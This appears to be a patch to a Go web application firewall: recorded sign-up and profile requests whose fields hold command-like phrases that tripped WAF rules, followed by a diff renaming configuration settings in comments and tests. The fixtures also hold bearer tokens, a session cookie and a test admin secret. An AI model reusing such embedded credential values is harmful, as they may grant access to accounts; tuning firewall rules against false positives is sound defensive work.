"_method=delete&authenticity_token=aUVriOgEE0wC9HCytvZMiXnrX5aNNCPPlQdUPUwmAESxE2KuT8i6hjFQkOPOUkgP-MDchvQseHUqOYQ1_LIXQg&form_delete_confirmation%5Busername%5D=bob&form_delete_confirmation%5Bpassword%5D=ls+-la+shows+the+.htaccess+file&button="}
|
||||||
|
{"method": "POST", "target": "/auth", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 548", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/auth/sign_up", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=pbANYcsmJSK7W1xSib4jkWB2fU2FYmc82mEC3IYpKdyFP8YDl4%2BaM2nGl7xQDAR5n%2FECzMLb0DlPLdGNld0yOUY%2Fc2T9fApszmiH4vpWFWwSAOw0I1zaIQdhXCkgtSCLTeKN6i6isRZ8v92%2FWYp3Nfn%2FhkXsRBtZJAv39yHrhq%2BeiCkJZBRhCroiHKw7yYWUEmtNG6BGvuMQJLgqJU74diNAPdW1vv3GLkBK7F%2Bx%2F0dLxJ23AlO9L8wnDqPcRMVWJiCW%2FWM1xOPV7vj81hw33yTbwgEbrk%2BylQ5RP0VCdDX6aOUivQpEqgvMqSLALbPavDsHtRZyqIp92q%2BCBVZl52NxcitBHop2KhI3nO32dvgJ1FkCekIP8EBBYUKF--LuPI%2BAk9nyZT66Bl--lCqK1dq3PjHBUHGZICcwcw%3D%3D"], "body": "authenticity_token=WbXeHEIg1quzaZbSHd_3CQmtuXVCrg1MwS00gGTNkxqJcZCzaMrkoUtTmfEQ1DICXRj051Ngdo95CreQAFRBHg&user%5Baccount_attributes%5D%5Busername%5D=morning_walks&user%5Bemail%5D=morning_walks%40example.com&user%5Bpassword%5D=ls+-la+shows+the+.htaccess+file&user%5Bpassword_confirmation%5D=ls+-la+shows+the+.htaccess+file&user%5Bconfirm_password%5D=&user%5Bwebsite%5D=&user%5Binvite_request_attributes%5D%5Btext%5D=python3+and+powershell+scripts+that+edit+.htaccess&accept=&user%5Binvite_code%5D=&user%5Bagreement%5D=0&user%5Bagreement%5D=1&button="}
|
||||||
|
{"method": "PATCH", "target": "/api/v1/accounts/update_credentials", "headers": ["Host: example.com", "User-Agent: curl/8.23.0", "Accept: */*", "Authorization: Bearer vmMlsmAFAQNuZlSlpzfhSsvcDzBzuidhQYYeg_z6FNE", "Content-Type: application/json", "Content-Length: 237"], "body": "{\"display_name\":\"ls -la shows the .htaccess file\",\"note\":\"python3 and powershell scripts that edit .htaccess\",\"fields_attributes\":[{\"name\":\"ls -la shows the .htaccess file\",\"value\":\"python3 and powershell scripts that edit .htaccess\"}]}\n"}
|
||||||
|
{"method": "PATCH", "target": "/api/v1/accounts/update_credentials", "headers": ["Host: example.com", "User-Agent: curl/8.23.0", "Accept: */*", "Authorization: Bearer vmMlsmAFAQNuZlSlpzfhSsvcDzBzuidhQYYeg_z6FNE", "Content-Type: application/json", "Content-Length: 169"], "body": "{\"note\":\"ls -la shows the .htaccess file\",\"fields_attributes\":[{\"name\":\"python3 and powershell scripts that edit .htaccess\",\"value\":\"ls -la shows the .htaccess file\"}]}\n"}
|
||||||
|
{"method": "POST", "target": "/api/v1/accounts", "headers": ["Host: example.com", "User-Agent: curl/8.23.0", "Accept: */*", "Authorization: Bearer FCpREmGi11uE86hSQRnXXtha1CPSXJhQeKbKAVqJQIs", "Content-Length: 174", "Content-Type: application/x-www-form-urlencoded"], "body": "username=dawn_walks&email=dawn_walks%40example.com&password=ls+-la+shows+the+.htaccess+file&agreement=true&locale=en&reason=python3+and+powershell+scripts+that+edit+.htaccess"}
|
||||||
|
{"method": "POST", "target": "/api/v1/accounts", "headers": ["Host: example.com", "User-Agent: curl/8.23.0", "Accept: */*", "Authorization: Bearer FCpREmGi11uE86hSQRnXXtha1CPSXJhQeKbKAVqJQIs", "Content-Length: 142", "Content-Type: application/x-www-form-urlencoded"], "body": "username=dusk_walks&email=dusk_walks%40example.com&password=river+walk+at+dawn&agreement=true&locale=en&reason=ls+-la+shows+the+.htaccess+file"}
|
||||||
|
{"method": "POST", "target": "/api/v1/accounts", "headers": ["Host: example.com", "User-Agent: curl/8.23.0", "Accept: */*", "Authorization: Bearer FCpREmGi11uE86hSQRnXXtha1CPSXJhQeKbKAVqJQIs", "Content-Type: application/json", "Content-Length: 203"], "body": "{\"username\":\"evening_walks\",\"email\":\"evening_walks@example.com\",\"password\":\"ls -la shows the .htaccess file\",\"agreement\":true,\"locale\":\"en\",\"reason\":\"python3 and powershell scripts that edit .htaccess\"}\n"}
|
||||||
|
{"method": "POST", "target": "/api/v1/accounts", "headers": ["Host: example.com", "User-Agent: curl/8.23.0", "Accept: */*", "Authorization: Bearer FCpREmGi11uE86hSQRnXXtha1CPSXJhQeKbKAVqJQIs", "Content-Type: application/json", "Content-Length: 167"], "body": "{\"username\":\"night_walks\",\"email\":\"night_walks@example.com\",\"password\":\"river walk at dawn\",\"agreement\":true,\"locale\":\"en\",\"reason\":\"ls -la shows the .htaccess file\"}\n"}
|
||||||
@@ -3,7 +3,7 @@
|
|||||||
# the rules it switches off, so this file is loaded before the Core Rule Set's
|
# the rules it switches off, so this file is loaded before the Core Rule Set's
|
||||||
# rules. Each comment names a request the rule refused. An exclusion on a field
|
# rules. Each comment names a request the rule refused. An exclusion on a field
|
||||||
# of a body applies only when the query has no parameter of that name, so it
|
# of a body applies only when the query has no parameter of that name, so it
|
||||||
# matters only while SWW_WAF_BODY_LIMIT is set.
|
# matters only while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set.
|
||||||
|
|
||||||
# WordPress takes a call to its REST API at any of four addresses:
|
# WordPress takes a call to its REST API at any of four addresses:
|
||||||
# /wp-json/wp/v2/posts/1
|
# /wp-json/wp/v2/posts/1
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
package discriminator
|
package discriminator
|
||||||
|
|
||||||
// The heuristic abuseipdb. It reads SWW_ABUSEIPDB_KEY,
|
// The heuristic abuseipdb. It reads SWW_WAF_ABUSEIPDB_KEY,
|
||||||
// SWW_ABUSEIPDB_MIN_SCORE and SWW_REPUTATION_ACTION.
|
// SWW_WAF_ABUSEIPDB_MIN_SCORE and SWW_WAF_REPUTATION_ACTION.
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"context"
|
"context"
|
||||||
@@ -16,12 +16,12 @@ import (
|
|||||||
|
|
||||||
// abuseIPDB adds the tag abuseipdb and notes AbuseIPDB, as noteHit does, with
|
// abuseIPDB adds the tag abuseipdb and notes AbuseIPDB, as noteHit does, with
|
||||||
// the score, when its score of the client is a hit, and refuses the request
|
// the score, when its score of the client is a hit, and refuses the request
|
||||||
// when SWW_REPUTATION_ACTION is deny, as dnsbl does for a zone. While
|
// when SWW_WAF_REPUTATION_ACTION is deny, as dnsbl does for a zone. While
|
||||||
// SWW_ABUSEIPDB_KEY is unset it does nothing. A client without a score is
|
// SWW_WAF_ABUSEIPDB_KEY is unset it does nothing. A client without a score is
|
||||||
// checked in the background, by the request's address, if its history counts
|
// checked in the background, by the request's address, if its history counts
|
||||||
// an offence, and the request does not wait for the answer. The score is then
|
// an offence, and the request does not wait for the answer. The score is then
|
||||||
// used for each address of the client. Its figures are the score and
|
// used for each address of the client. Its figures are the score and
|
||||||
// SWW_ABUSEIPDB_MIN_SCORE.
|
// SWW_WAF_ABUSEIPDB_MIN_SCORE.
|
||||||
type abuseIPDB struct{}
|
type abuseIPDB struct{}
|
||||||
|
|
||||||
func (abuseIPDB) name() string { return "abuseipdb" }
|
func (abuseIPDB) name() string { return "abuseipdb" }
|
||||||
@@ -43,7 +43,7 @@ func (abuseIPDB) check(ctx context.Context, rq *request, _ time.Time) *verdict {
|
|||||||
rq.abuseIPDBHit = true
|
rq.abuseIPDBHit = true
|
||||||
rq.addTag(config.AbuseIPDBTag)
|
rq.addTag(config.AbuseIPDBTag)
|
||||||
rq.noteHit(bans.ReputationHit{Source: reputation.AbuseIPDBSource, Score: &score},
|
rq.noteHit(bans.ReputationHit{Source: reputation.AbuseIPDBSource, Score: &score},
|
||||||
"scored by AbuseIPDB at or over SWW_ABUSEIPDB_MIN_SCORE")
|
"scored by AbuseIPDB at or over SWW_WAF_ABUSEIPDB_MIN_SCORE")
|
||||||
|
|
||||||
if rq.h.config.ReputationAction != deny {
|
if rq.h.config.ReputationAction != deny {
|
||||||
return nil
|
return nil
|
||||||
|
|||||||
@@ -51,7 +51,7 @@ func (rq *request) answerHealth() {
|
|||||||
|
|
||||||
// answerAdmin answers a request for one of discriminator's own endpoints. Each
|
// answerAdmin answers a request for one of discriminator's own endpoints. Each
|
||||||
// needs a token, sent as Authorization: Bearer <token>: the metrics
|
// needs a token, sent as Authorization: Bearer <token>: the metrics
|
||||||
// SWW_METRICS_TOKEN, the others SWW_ADMIN_TOKEN. A request without it is
|
// SWW_WAF_METRICS_TOKEN, the others SWW_WAF_ADMIN_TOKEN. A request without it is
|
||||||
// refused with 401. An endpoint whose token is unset answers 404, as any other
|
// refused with 401. An endpoint whose token is unset answers 404, as any other
|
||||||
// path does.
|
// path does.
|
||||||
func (rq *request) answerAdmin() {
|
func (rq *request) answerAdmin() {
|
||||||
|
|||||||
@@ -17,8 +17,8 @@ import (
|
|||||||
)
|
)
|
||||||
|
|
||||||
const (
|
const (
|
||||||
adminToken = "SWW_ADMIN_TOKEN" //nolint:gosec // the setting's name
|
adminToken = "SWW_WAF_ADMIN_TOKEN" //nolint:gosec // the setting's name
|
||||||
// adminSecret is the SWW_ADMIN_TOKEN the tests set, and adminBearer
|
// adminSecret is the SWW_WAF_ADMIN_TOKEN the tests set, and adminBearer
|
||||||
// how a request carries it.
|
// how a request carries it.
|
||||||
adminSecret = "fedcba9876543210fedcba9876543210"
|
adminSecret = "fedcba9876543210fedcba9876543210"
|
||||||
adminBearer = "Bearer " + adminSecret
|
adminBearer = "Bearer " + adminSecret
|
||||||
@@ -337,12 +337,12 @@ func TestAdminEndpointsNeedTheTokenInObserveMode(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// adminEndpoint is a request to an endpoint SWW_ADMIN_TOKEN opens.
|
// adminEndpoint is a request to an endpoint SWW_WAF_ADMIN_TOKEN opens.
|
||||||
type adminEndpoint struct {
|
type adminEndpoint struct {
|
||||||
method, path, body string
|
method, path, body string
|
||||||
}
|
}
|
||||||
|
|
||||||
// adminEndpoints returns a request to each endpoint SWW_ADMIN_TOKEN
|
// adminEndpoints returns a request to each endpoint SWW_WAF_ADMIN_TOKEN
|
||||||
// opens: listing the bans, banning otherClient for an hour, lifting the
|
// opens: listing the bans, banning otherClient for an hour, lifting the
|
||||||
// bans on otherClient, and asking about otherClient.
|
// bans on otherClient, and asking about otherClient.
|
||||||
func adminEndpoints() []adminEndpoint {
|
func adminEndpoints() []adminEndpoint {
|
||||||
|
|||||||
@@ -15,8 +15,8 @@ import (
|
|||||||
)
|
)
|
||||||
|
|
||||||
const (
|
const (
|
||||||
alertWebhookURL = "SWW_ALERT_WEBHOOK_URL"
|
alertWebhookURL = "SWW_WAF_ALERT_WEBHOOK_URL"
|
||||||
alertMaxPerHour = "SWW_ALERT_MAX_PER_HOUR"
|
alertMaxPerHour = "SWW_WAF_ALERT_MAX_PER_HOUR"
|
||||||
// alertInstance is the instance every alert of these tests gives.
|
// alertInstance is the instance every alert of these tests gives.
|
||||||
alertInstance = "fsn1app1/blog"
|
alertInstance = "fsn1app1/blog"
|
||||||
)
|
)
|
||||||
|
|||||||
@@ -21,11 +21,11 @@ import (
|
|||||||
// The anomaly thresholds: the prefix of a scope followed by the end of a
|
// The anomaly thresholds: the prefix of a scope followed by the end of a
|
||||||
// count.
|
// count.
|
||||||
const (
|
const (
|
||||||
anomalyClient = "SWW_ANOMALY_CLIENT_"
|
anomalyClient = "SWW_WAF_ANOMALY_CLIENT_"
|
||||||
anomalyNet = "SWW_ANOMALY_NET_"
|
anomalyNet = "SWW_WAF_ANOMALY_NET_"
|
||||||
anomalyASN = "SWW_ANOMALY_ASN_"
|
anomalyASN = "SWW_WAF_ANOMALY_ASN_"
|
||||||
anomalyTotal = "SWW_ANOMALY_TOTAL_"
|
anomalyTotal = "SWW_WAF_ANOMALY_TOTAL_"
|
||||||
anomalyWatch = "SWW_WATCH_"
|
anomalyWatch = "SWW_WAF_WATCH_"
|
||||||
|
|
||||||
requestsPerMinute = "REQUESTS_PER_MINUTE"
|
requestsPerMinute = "REQUESTS_PER_MINUTE"
|
||||||
requestsPerHour = "REQUESTS_PER_HOUR"
|
requestsPerHour = "REQUESTS_PER_HOUR"
|
||||||
@@ -35,9 +35,9 @@ const (
|
|||||||
|
|
||||||
// The other anomaly settings.
|
// The other anomaly settings.
|
||||||
const (
|
const (
|
||||||
anomalyNetV4Prefix = "SWW_ANOMALY_NET_V4_PREFIX"
|
anomalyNetV4Prefix = "SWW_WAF_ANOMALY_NET_V4_PREFIX"
|
||||||
anomalyNetV6Prefix = "SWW_ANOMALY_NET_V6_PREFIX"
|
anomalyNetV6Prefix = "SWW_WAF_ANOMALY_NET_V6_PREFIX"
|
||||||
watchNets = "SWW_WATCH_NETS"
|
watchNets = "SWW_WAF_WATCH_NETS"
|
||||||
)
|
)
|
||||||
|
|
||||||
const (
|
const (
|
||||||
@@ -164,9 +164,9 @@ func TestEveryRequestIsCountedWhateverIsDoneWithIt(t *testing.T) {
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
const (
|
const (
|
||||||
allowed = "192.0.2.7" // in SWW_ALLOW_NETS
|
allowed = "192.0.2.7" // in SWW_WAF_ALLOW_NETS
|
||||||
exempt = "192.0.2.10" // in SWW_RATE_LIMIT_EXEMPT_NETS
|
exempt = "192.0.2.10" // in SWW_WAF_RATE_LIMIT_EXEMPT_NETS
|
||||||
denied = "192.0.2.20" // in SWW_DENY_NETS
|
denied = "192.0.2.20" // in SWW_WAF_DENY_NETS
|
||||||
)
|
)
|
||||||
|
|
||||||
s, _, _, queue := startAppWithAlerts(t, readAndAnswer, map[string]string{
|
s, _, _, queue := startAppWithAlerts(t, readAndAnswer, map[string]string{
|
||||||
|
|||||||
@@ -23,10 +23,10 @@ import (
|
|||||||
)
|
)
|
||||||
|
|
||||||
const (
|
const (
|
||||||
// answerTimeLimit is the default of rproxy's SWRP_TIMEOUT_MS, the time
|
// answerTimeLimit is the default of rproxy's SWW_RPROXY_TIMEOUT_MS, the time
|
||||||
// discriminator has to answer.
|
// discriminator has to answer.
|
||||||
answerTimeLimit = 2 * time.Second
|
answerTimeLimit = 2 * time.Second
|
||||||
// defaultLookupWait is the default of SWW_LOOKUP_TIMEOUT.
|
// defaultLookupWait is the default of SWW_WAF_LOOKUP_TIMEOUT.
|
||||||
defaultLookupWait = 800 * time.Millisecond
|
defaultLookupWait = 800 * time.Millisecond
|
||||||
// The header limits SPEC.md gives.
|
// The header limits SPEC.md gives.
|
||||||
cookieLimit = 50
|
cookieLimit = 50
|
||||||
@@ -178,7 +178,7 @@ func TestHeaderLimitsHoldWhateverTheCoreRuleSetSettingsSay(t *testing.T) {
|
|||||||
for _, env := range []map[string]string{
|
for _, env := range []map[string]string{
|
||||||
{wafMode: off},
|
{wafMode: off},
|
||||||
{wafMode: "detect"},
|
{wafMode: "detect"},
|
||||||
{wafMode: block, "SWW_WAF_EXEMPT_PATHS": "/"},
|
{wafMode: block, "SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS": "/"},
|
||||||
} {
|
} {
|
||||||
t.Run(fmt.Sprint(env), func(t *testing.T) {
|
t.Run(fmt.Sprint(env), func(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
@@ -413,7 +413,7 @@ func TestARefusedRequestDoesNotWaitForASlowGeoJS(t *testing.T) {
|
|||||||
action string
|
action string
|
||||||
}{
|
}{
|
||||||
{
|
{
|
||||||
name: "SWW_DENY_NETS", env: map[string]string{denyNets: client},
|
name: "SWW_WAF_DENY_NETS", env: map[string]string{denyNets: client},
|
||||||
prepare: leaveAsItIs, status: forbidden, action: requestlog.ActionClientDenied,
|
prepare: leaveAsItIs, status: forbidden, action: requestlog.ActionClientDenied,
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
package discriminator
|
package discriminator
|
||||||
|
|
||||||
// The heuristic active_ban, and the code that makes bans, which several
|
// The heuristic active_ban, and the code that makes bans, which several
|
||||||
// heuristics share. active_ban reads SWW_MODE; the bans are the ban ledger's.
|
// heuristics share. active_ban reads SWW_WAF_MODE; the bans are the ban ledger's.
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"context"
|
"context"
|
||||||
@@ -15,7 +15,7 @@ import (
|
|||||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||||
)
|
)
|
||||||
|
|
||||||
// banResponse is a refusal answered with SWW_BAN_RESPONSE, and logged
|
// banResponse is a refusal answered with SWW_WAF_BAN_RESPONSE, and logged
|
||||||
// with action.
|
// with action.
|
||||||
func (rq *request) banResponse(action string) *refusal {
|
func (rq *request) banResponse(action string) *refusal {
|
||||||
return &refusal{status: rq.h.config.BanResponse, action: action}
|
return &refusal{status: rq.h.config.BanResponse, action: action}
|
||||||
@@ -77,7 +77,7 @@ func limitFigures(hit ratelimit.Hit) map[string]any {
|
|||||||
|
|
||||||
// countedBytes returns the request's bytes, once it has ended, as the
|
// countedBytes returns the request's bytes, once it has ended, as the
|
||||||
// byte limits and the anomaly thresholds count them: the response's body
|
// byte limits and the anomaly thresholds count them: the response's body
|
||||||
// bytes, the request's, or both, as SWW_BYTES_COUNT says.
|
// bytes, the request's, or both, as SWW_WAF_BYTES_COUNT says.
|
||||||
func (rq *request) countedBytes() int64 {
|
func (rq *request) countedBytes() int64 {
|
||||||
response, request := rq.out.bytes, rq.requestBytes
|
response, request := rq.out.bytes, rq.requestBytes
|
||||||
|
|
||||||
@@ -94,7 +94,7 @@ func (rq *request) countedBytes() int64 {
|
|||||||
// banForLimit bans the client's netblock at now for a broken limit, the
|
// banForLimit bans the client's netblock at now for a broken limit, the
|
||||||
// one hit names, notes the offence for the log line and counts the hit in
|
// one hit names, notes the offence for the log line and counts the hit in
|
||||||
// the metrics. status is what the client was sent, or is sent:
|
// the metrics. status is what the client was sent, or is sent:
|
||||||
// SWW_BAN_RESPONSE for a request over a rate limit, what the report says for
|
// SWW_WAF_BAN_RESPONSE for a request over a rate limit, what the report says for
|
||||||
// one whose bytes broke a byte limit, the refusal for one that broke the
|
// one whose bytes broke a byte limit, the refusal for one that broke the
|
||||||
// error burst. The ban's notes give the client's limit percentage for a
|
// error burst. The ban's notes give the client's limit percentage for a
|
||||||
// rate limit or a byte limit; the error burst is not lowered. The ban sets
|
// rate limit or a byte limit; the error burst is not lowered. The ban sets
|
||||||
@@ -237,7 +237,7 @@ func (rq *request) banForCrowdSec(now time.Time, decision reputation.Decision) s
|
|||||||
// wouldAlertBan reports whether the alert for a ban on netblock for cause
|
// wouldAlertBan reports whether the alert for a ban on netblock for cause
|
||||||
// made at now would be sent. In observe mode the ban the request would
|
// made at now would be sent. In observe mode the ban the request would
|
||||||
// have made is worked out only then, at most once per
|
// have made is worked out only then, at most once per
|
||||||
// SWW_ALERT_COOLDOWN and never with no webhook set: its notes count the
|
// SWW_WAF_ALERT_COOLDOWN and never with no webhook set: its notes count the
|
||||||
// netblock's requests, which can mean going through every client.
|
// netblock's requests, which can mean going through every client.
|
||||||
func (rq *request) wouldAlertBan(
|
func (rq *request) wouldAlertBan(
|
||||||
netblock netip.Prefix, now time.Time, cause string,
|
netblock netip.Prefix, now time.Time, cause string,
|
||||||
@@ -303,7 +303,7 @@ func (rq *request) netblockRequests(netblock netip.Prefix) int64 {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// netblock is the netblock a ban on client covers: its IPv4 address,
|
// netblock is the netblock a ban on client covers: its IPv4 address,
|
||||||
// widened to SWW_BAN_SCOPE_V4_PREFIX, or the IPv6 group clientGroup
|
// widened to SWW_WAF_BAN_SCOPE_V4_PREFIX, or the IPv6 group clientGroup
|
||||||
// counts it in.
|
// counts it in.
|
||||||
func (h *handler) netblock(client netip.Addr) netip.Prefix {
|
func (h *handler) netblock(client netip.Addr) netip.Prefix {
|
||||||
addr := client.Unmap()
|
addr := client.Unmap()
|
||||||
|
|||||||
@@ -26,7 +26,7 @@ const (
|
|||||||
userAgent = "ban-test/1.0"
|
userAgent = "ban-test/1.0"
|
||||||
// permanent is the log line's ban_expires for a permanent ban.
|
// permanent is the log line's ban_expires for a permanent ban.
|
||||||
permanent = "permanent"
|
permanent = "permanent"
|
||||||
// banResponseClose is the SWW_BAN_RESPONSE that closes the connection.
|
// banResponseClose is the SWW_WAF_BAN_RESPONSE that closes the connection.
|
||||||
banResponseClose = "close"
|
banResponseClose = "close"
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -91,19 +91,19 @@ func TestBanLengthsFollowTheSettings(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// A first ban lasts SWW_LIMIT_BAN_DURATION; one within
|
// A first ban lasts SWW_WAF_LIMIT_BAN_DURATION; one within
|
||||||
// SWW_LIMIT_BAN_REPEAT_WINDOW after it ended, three times as long.
|
// SWW_WAF_LIMIT_BAN_REPEAT_WINDOW after it ended, three times as long.
|
||||||
wantExpires(breakLimit(), 10*time.Minute)
|
wantExpires(breakLimit(), 10*time.Minute)
|
||||||
clk.advance(10*time.Minute + time.Hour)
|
clk.advance(10*time.Minute + time.Hour)
|
||||||
wantExpires(breakLimit(), 30*time.Minute)
|
wantExpires(breakLimit(), 30*time.Minute)
|
||||||
|
|
||||||
// Later than that, SWW_LIMIT_BAN_DURATION again.
|
// Later than that, SWW_WAF_LIMIT_BAN_DURATION again.
|
||||||
clk.advance(30*time.Minute + time.Hour + time.Second)
|
clk.advance(30*time.Minute + time.Hour + time.Second)
|
||||||
wantExpires(breakLimit(), 10*time.Minute)
|
wantExpires(breakLimit(), 10*time.Minute)
|
||||||
clk.advance(10 * time.Minute)
|
clk.advance(10 * time.Minute)
|
||||||
wantExpires(breakLimit(), 30*time.Minute)
|
wantExpires(breakLimit(), 30*time.Minute)
|
||||||
|
|
||||||
// 90 minutes would be longer than SWW_MAX_BAN_DURATION: the ban is
|
// 90 minutes would be longer than SWW_WAF_MAX_BAN_DURATION: the ban is
|
||||||
// permanent.
|
// permanent.
|
||||||
clk.advance(30 * time.Minute)
|
clk.advance(30 * time.Minute)
|
||||||
|
|
||||||
@@ -150,8 +150,8 @@ func TestBanCoversTheClientsNetblock(t *testing.T) {
|
|||||||
|
|
||||||
// In the IPv4 cases, client breaks the limit; these two are next to it.
|
// In the IPv4 cases, client breaks the limit; these two are next to it.
|
||||||
const (
|
const (
|
||||||
allowed = "203.0.113.60" // in SWW_ALLOW_NETS
|
allowed = "203.0.113.60" // in SWW_WAF_ALLOW_NETS
|
||||||
exempt = "203.0.113.50" // in SWW_RATE_LIMIT_EXEMPT_NETS
|
exempt = "203.0.113.50" // in SWW_WAF_RATE_LIMIT_EXEMPT_NETS
|
||||||
)
|
)
|
||||||
|
|
||||||
for _, tc := range []struct {
|
for _, tc := range []struct {
|
||||||
@@ -166,7 +166,7 @@ func TestBanCoversTheClientsNetblock(t *testing.T) {
|
|||||||
nil, []string{otherClient, exempt},
|
nil, []string{otherClient, exempt},
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
"the IPv4 netblock SWW_BAN_SCOPE_V4_PREFIX sets",
|
"the IPv4 netblock SWW_WAF_BAN_SCOPE_V4_PREFIX sets",
|
||||||
map[string]string{banScopeV4Prefix: "24"}, client,
|
map[string]string{banScopeV4Prefix: "24"}, client,
|
||||||
[]string{otherClient, exempt}, []string{"203.0.112.9", allowed},
|
[]string{otherClient, exempt}, []string{"203.0.112.9", allowed},
|
||||||
},
|
},
|
||||||
@@ -175,7 +175,7 @@ func TestBanCoversTheClientsNetblock(t *testing.T) {
|
|||||||
[]string{"2001:db8:5::ffff:1"}, []string{"2001:db8:5:1::1"},
|
[]string{"2001:db8:5::ffff:1"}, []string{"2001:db8:5:1::1"},
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
"the IPv6 netblock SWW_IPV6_GROUP_PREFIX sets",
|
"the IPv6 netblock SWW_WAF_IPV6_GROUP_PREFIX sets",
|
||||||
map[string]string{ipv6GroupPrefix: "48"}, "2001:db8:7::1",
|
map[string]string{ipv6GroupPrefix: "48"}, "2001:db8:7::1",
|
||||||
[]string{"2001:db8:7:ffff::1"}, []string{"2001:db8:8::1"},
|
[]string{"2001:db8:7:ffff::1"}, []string{"2001:db8:8::1"},
|
||||||
},
|
},
|
||||||
@@ -249,10 +249,10 @@ func TestRefusalUnderABanNamesItsHeuristicNetblockAndEnd(t *testing.T) {
|
|||||||
func TestBanResponseAnswersEveryRefusalButTheSizeLimits(t *testing.T) {
|
func TestBanResponseAnswersEveryRefusalButTheSizeLimits(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
const denied = "192.0.2.50" // in SWW_DENY_NETS
|
const denied = "192.0.2.50" // in SWW_WAF_DENY_NETS
|
||||||
|
|
||||||
for _, tc := range []struct {
|
for _, tc := range []struct {
|
||||||
setting string // "" leaves SWW_BAN_RESPONSE at its default
|
setting string // "" leaves SWW_WAF_BAN_RESPONSE at its default
|
||||||
status int // 0 is the connection closed without an answer
|
status int // 0 is the connection closed without an answer
|
||||||
}{
|
}{
|
||||||
{"", http.StatusForbidden},
|
{"", http.StatusForbidden},
|
||||||
|
|||||||
@@ -17,9 +17,9 @@ type percentage struct {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// biasedThresholdsSet reports whether a biased threshold can lower a
|
// biasedThresholdsSet reports whether a biased threshold can lower a
|
||||||
// client's limits by its lookup: SWW_ASN_BYTES_PERCENT or
|
// client's limits by its lookup: SWW_WAF_ASN_BYTES_PERCENT or
|
||||||
// SWW_COUNTRY_BYTES_PERCENT is not empty, SWW_UNKNOWN_LIMIT_PERCENT is
|
// SWW_WAF_COUNTRY_BYTES_PERCENT is not empty, SWW_WAF_UNKNOWN_LIMIT_PERCENT is
|
||||||
// below 100, or SWW_ASN_LIMIT_PERCENT_URL is set. The client's lookup is
|
// below 100, or SWW_WAF_ASN_LIMIT_PERCENT_URL is set. The client's lookup is
|
||||||
// then needed before its request goes on.
|
// then needed before its request goes on.
|
||||||
func biasedThresholdsSet(cfg *config.Config) bool {
|
func biasedThresholdsSet(cfg *config.Config) bool {
|
||||||
return len(cfg.ASNBytesPercent) > 0 || len(cfg.CountryBytesPercent) > 0 ||
|
return len(cfg.ASNBytesPercent) > 0 || len(cfg.CountryBytesPercent) > 0 ||
|
||||||
@@ -31,15 +31,15 @@ func biasedThresholdsSet(cfg *config.Config) bool {
|
|||||||
// as looked up, each "" when unknown, and the blocklists, DNSBL zones and
|
// as looked up, each "" when unknown, and the blocklists, DNSBL zones and
|
||||||
// AbuseIPDB that list it. Each is the lowest of those the settings give
|
// AbuseIPDB that list it. Each is the lowest of those the settings give
|
||||||
// it, the first of them in the order below when several are lowest: the
|
// it, the first of them in the order below when several are lowest: the
|
||||||
// percentage SWW_TAG_LIMIT_PERCENT gives its asn= tag, the one the file
|
// percentage SWW_WAF_TAG_LIMIT_PERCENT gives its asn= tag, the one the file
|
||||||
// SWW_ASN_LIMIT_PERCENT_URL names gives its AS number, the one
|
// SWW_WAF_ASN_LIMIT_PERCENT_URL names gives its AS number, the one
|
||||||
// SWW_TAG_LIMIT_PERCENT gives its country= tag, the lowest it gives its
|
// SWW_WAF_TAG_LIMIT_PERCENT gives its country= tag, the lowest it gives its
|
||||||
// other tags, for a client without a country, unless its request skipped
|
// other tags, for a client without a country, unless its request skipped
|
||||||
// the wait for GeoJS, SWW_UNKNOWN_LIMIT_PERCENT, for a client a blocklist
|
// the wait for GeoJS, SWW_WAF_UNKNOWN_LIMIT_PERCENT, for a client a blocklist
|
||||||
// lists, the percentage of SWW_BLOCKLIST_ACTION while it is limit, and
|
// lists, the percentage of SWW_WAF_BLOCKLIST_ACTION while it is limit, and
|
||||||
// for a client a DNSBL zone's verdict lists, or whose AbuseIPDB score is
|
// for a client a DNSBL zone's verdict lists, or whose AbuseIPDB score is
|
||||||
// a hit, the percentage of SWW_REPUTATION_ACTION while it is limit. For
|
// a hit, the percentage of SWW_WAF_REPUTATION_ACTION while it is limit. For
|
||||||
// the byte limits, SWW_ASN_BYTES_PERCENT and SWW_COUNTRY_BYTES_PERCENT
|
// the byte limits, SWW_WAF_ASN_BYTES_PERCENT and SWW_WAF_COUNTRY_BYTES_PERCENT
|
||||||
// take the place of the first three for an AS number or a country they
|
// take the place of the first three for an AS number or a country they
|
||||||
// list.
|
// list.
|
||||||
func (rq *request) limitPercentages() (percentage, percentage) {
|
